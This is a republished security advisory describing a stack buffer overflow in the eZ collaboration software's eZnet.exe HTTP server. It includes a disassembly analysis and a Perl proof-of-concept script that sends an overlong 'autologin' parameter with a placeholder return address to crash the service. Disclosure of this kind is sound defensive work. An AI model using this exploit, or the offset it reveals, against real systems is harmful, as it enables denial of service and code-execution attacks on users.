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| "Imagine going to the movies, but instead of seeing the picture, someone had to describe it to you verbally. That's what's happening in countless business discussions and conference calls every day. A lot of time and money is being wasted. That's why we created eZ. Now imagine having the ability to place any document right in front of the person you're speaking with on the phone, immediately - Word, Excel, PowerPoint, PDF, CAD, Digital Photos, Online, and Real time. That's the power of eZ. Regardless of the distance that separates your team, eZ delivers an amazingly interactive, simple, visual workspace for all team players. If a picture paints a thousand words, think what an interactive picture can do for your business. Picture it with eZ". |
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Credit:
The original advisory can be found at: http://www.elitehaven.net/ezstackoverflow.txt.
The information has been provided by Peter Winter-Smith.
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Vulnerable systems:
* eZ version 3.5.0 and prior
Immune systems:
* eZ version 3.6.0
* eZphoto version 1.2.1
Stack-based Buffer Overflow
Each one of the eZ software packages is shipped with an application file which runs as part of the core system, 'eZnet.exe'. It acts as a simple HTTP server listening on port 80/tcp for connections from one of the eZ software packages. Once it receives a request, it will return a string of data which the client can use to help negotiate a session with the remote eZ user.
There appears to be a serious issue with the way in which the eZnet application parses requests. A stack-based buffer overflow problem seems to arise when an overly long request is made to the server, however upon investigation it seems impossible to trigger this flaw via a simple 'GET' request, since other saved values which are critical to the continuation of the application causes it to crash well before the execution flow can be modified.
It is possible to avoid this hang-up by issuing the overly long request as an argument within the internal module 'SwEzModule.dll'. A regular request to this module may look like:
$normalrequest = "GET /SwEzModule.dll?operation=login&autologin=1 " . "HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";
It appears that just sending an overly long 'operation' to the server causes similar problems to the issuing of an overly long 'GET' request, crashing the application before the execution path is modified, however it seems that sending an overly long argument to 'autologin', which is perhaps one of many 'safe' arguments which we can overflow, will allow complete modification of the instruction pointer regardless of any other values which may be overwritten.
Something which makes this issue even more critical is the fact that eZnet.exe is the only application which is set to execute as soon as Windows is loaded, making every user of eZ vulnerable by default.
A quick and simple code analysis shows us exactly where eZ went wrong:
Analysis of the Vulnerable Code
At the instruction 00425580, the saved return address 00425583 is placed on the stack at the address 011AFF84.
:00425580 FF5648 call [esi+48]
:00425583 50 push eax
The procedure which was called from 00425580, located at 00401FE0, is one which will receive the data from the socket, parse it, and then take action based on the results.
The real problem lies within an internal parsing routine, a section of which seems to be code for a strcpy() type of function,
This is shown below:
:004031AF 8A10 mov dl, byte ptr [eax]
:004031B1 84D2 test dl, dl
:004031B3 740C je 004031C1
:004031B5 88140E mov byte ptr [esi+ecx], dl
:004031B8 8A5001 mov dl, byte ptr [eax+01]
:004031BB 41 inc ecx
:004031BC 40 inc eax
:004031BD 84D2 test dl, dl
:004031BF 75F4 jne 004031B5
This procedure seems to move the first byte of the data which we have sent to the application via the socket, into the dl register.
Then a check is performed to ensure that the value in dl isn't a null byte, which may signify that no data was received, and then the procedure continues to write the contents of the dl register to the address pointed to by the esi register plus the ecx register, the value of which is incremented each time round. Data is now being moved into into memory starting from 011AED30.
The only built in limitations which the procedure has is the presence of a check for null bytes. The procedure will continue copying data until the first null is reached, which means that there is no limit to the amount of saved data which we can overwrite. With this being so, it is no problem at all to continue overwriting data indefinitely until we have completely overwritten the saved return address from 00425580, which is located at 011AFF84.
When the procedure 00401FE0 has completed. the 'ret 4' instruction pops off the overwritten saved return address, and follows it to whatever ends we desire.
:0040231A 5B pop ebx
:0040231B 8BE5 mov esp, ebp
:0040231D 5D pop ebp
:0040231E C20400 ret 0004
Proof of Concept Code:
A harmless proof of concept exploit which should recreate the conditions of which Peter has been talking is included below:
# ---------------------------------[eZstack.pl]---------------------------------
#
#!/usr/bin/perl -w
#
# Stack Overflow Vulnerability in eZphotoshare - PoC
# - by Peter Winter-Smith [peter4020@hotmail.com]
use IO::Socket;
if(!($ARGV[0]))
{
print "Usage: eZstack.pl <victim>\n\n";
exit;
}
print "Stack Overflow PoC\n";
$victim = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>"80")
or die "Unable to connect to $ARGV[0] on port 80";
$eip = "\x58\x58\x58\x58";
$packet = "" .
"GET /SwEzModule.dll?operation=login&autologin=" .
"a"x4653 . $eip .
"\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";
print $victim $packet;
print " + Making Request ...\n";
sleep(4);
close($victim);
print "Done.\n";
exit;
# ------------------------------------------------------------------------------
Patches - Workarounds:
Currently no patches exist. The vendor has reported to me that he will be working on a patch for all of the security issues which Peter has raised, and they may be downloaded with the latest version from the vendor's website as soon as they are released.
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